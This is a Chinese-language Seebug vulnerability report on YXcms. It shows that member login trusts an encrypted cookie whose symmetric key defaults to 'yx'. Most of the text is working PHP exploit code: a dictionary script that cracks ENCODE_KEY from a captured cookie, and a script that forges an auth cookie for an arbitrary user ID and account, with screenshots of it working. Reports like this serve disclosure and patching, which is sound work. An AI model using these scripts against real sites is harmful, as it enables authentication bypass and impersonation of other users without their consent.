YXcms伪造cookie绕过验证任一用户登录

2014-07-21T00:00:00
ID SSV:95934
Type seebug
Reporter Root
Modified 2014-07-21T00:00:00

Description

简要描述:

源代码中有对cookie的加解密函数,可以伪造cookie,而且程序使用cookie进行权限验证,可以实现任一用户登录。

详细说明:

Protected/apps/members/controller/indexController.php

public function login() { if(!$this->isPost()){//不使用post时 $cookie_auth=get_cookie('auth');//此时直接从cookie中获取认证信息,我们跟进get_cookie函数看能否伪造cookie绕过认证 if(!empty($this->auth)) $this->redirect(url('default/index/index')); $this->returnurl=$_SERVER['HTTP_REFERER']; $this->display(); }else{ 。。。 }

/protected/include/lib/common.function.php

function get_cookie($var,$key='',$pre='') { if(function_exists('config')){ $key=$key?$key:config('ENCODE_KEY');//这里获取加密key,在config中设置,默认为yx $pre=$pre?$pre:config('COOKIE_PRE');//这里获取cookie的前缀,默认为yx } $var = $pre.$var; return isset($_COOKIE[$var]) ? cp_decode($_COOKIE[$var],$key) : '';//将cookie解密 }

跟进cp_decode函数

``` function cp_decode($string,$key='') { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = substr($string, 0, $ckey_length);

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string =  base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);

$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) 
{
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) 
{
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) 
{
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    return unserialize(substr($result, 26));
}
else
{
    return '';
}

} ```

具体加解密算法没有进行分析,但是只要我们知道加密key就可以自己生产cookie 我们看看cookie的格式是什么样子的

protected function _login($account,$password,$cookietime=0) { $acc=model('members')->find("account='{$account}'"); if($acc['password']!=codepwd($password) || $acc['islock']) return false; if($cookietime!=0) $cookietime=time()+$cookietime; $data['lastip'] = get_client_ip(); $data['lasttime']=time(); model('members')->update("account='{$account}'",$data); if($acc['headpic'] && !Check::url($acc['headpic'])) $acc['headpic']=__UPLOAD__.'/member/image/'.$acc['headpic']; $cookie_auth = $acc['id'].'\t'.$acc['groupid'].'\t'.$acc['account'].'\t'.$acc['nickname'].'\t'.$acc['lastip'].'\t'.$acc['headpic'];//获取账号的信息,连成字符串 if(set_cookie('auth',$cookie_auth,$cookietime)) return true; return false; }

跟进 set_cookie

function set_cookie($var, $value = '', $time = 0,$key='',$pre='') { $time = $time > 0 ? $time : 0; $port = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; if(function_exists('config')){ $key=$key?$key:config('ENCODE_KEY');//这里获取加密key,在config中设置,默认为yx $pre=$pre?$pre:config('COOKIE_PRE');//这里获取cookie的前缀,默认为yx } $value=cp_encode($value,$key);//使用加密key和之前的cookie_auth字符串来生产加密后的cookie $var = $pre.$var; return setcookie($var, $value, $time, '/', '', $port); }

我没有深入看cp_encode函数的算法,但是,我们现在知道了加密前cookie的格式,有了加密key,就可以人为的去生成cookie,绕过验证。

漏洞证明:

加密key默认为yx,但是有可能更改,因为加密和解密用到同一个key,属于对称加密,这里写一个脚本用来破解加密key。 解密脚本crack.php:

``` <?php //cp_encode之后的解密函数,$string待解密的字符串,$key,密钥 function cp_decode($string,$key='') { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = substr($string, 0, $ckey_length);

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);    
$string =  base64_decode(substr($string, $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i &lt;= 255; $i++) 
{
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i &lt; 256; $i++) 
{
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
}
for($a = $j = $i = 0; $i &lt; $string_length; $i++) 
{
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() &gt; 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    return unserialize(substr($result, 26));
}
else
{
    return '';
}

} $str="5681ASIRH3xmeahDPR%2FBFKcZSIG7PNtinSTCODsQz1mvhyPAeNyQxvBaVz5ONAzQmPB835Kadw5LVANlN4fIxlkOMiBu%2BQ"; $str=urldecode($str);//注意如果获取的cookie是url编码解密后的,去掉此行 $file = file("dic.txt");//字典文件 foreach($file as &$line) { if(cp_decode($str,$line)) echo "ENCODE_KEY = ".$line; } echo "\nFinished!"; ?> ```

<img src="https://images.seebug.org/upload/201407/21133059abcf836dd90998d713ce43eede2355e1.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">

现在用cp_encode函数制作我们自己的cookie 。

&lt;?php function cp_encode($data,$key='',$expire = 0) { $string=serialize($data); $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = substr(md5(microtime()), -$ckey_length); $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i &lt;= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i &lt; 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i &lt; $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } return $keyc.str_replace('=', '', base64_encode($result)); } $id=3; $data['groupid']=2; $data['account']='admin2'; $data['nickname']='admin2'; $data['lastip']='127.0.0.1'; $cookie_auth = $id.''.$data['groupid'].''.$data['account'].''.$data['nickname'].''.$data['lastip'].''; $encode=cp_encode($cookie_auth,"axf"); echo $cookie_auth; echo ""; echo urlencode($encode); ?&gt;

id ,groupid,account,nickname在不同的地方有不同的用处,比如修改资料地方用id关联,发布资讯跟account关联,登录界面现实与nickname关联,根据自己需要进行修改伪造。

<img src="https://images.seebug.org/upload/201407/211332195edf3933ee72540a60a7d1bc9cbbeb9e.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">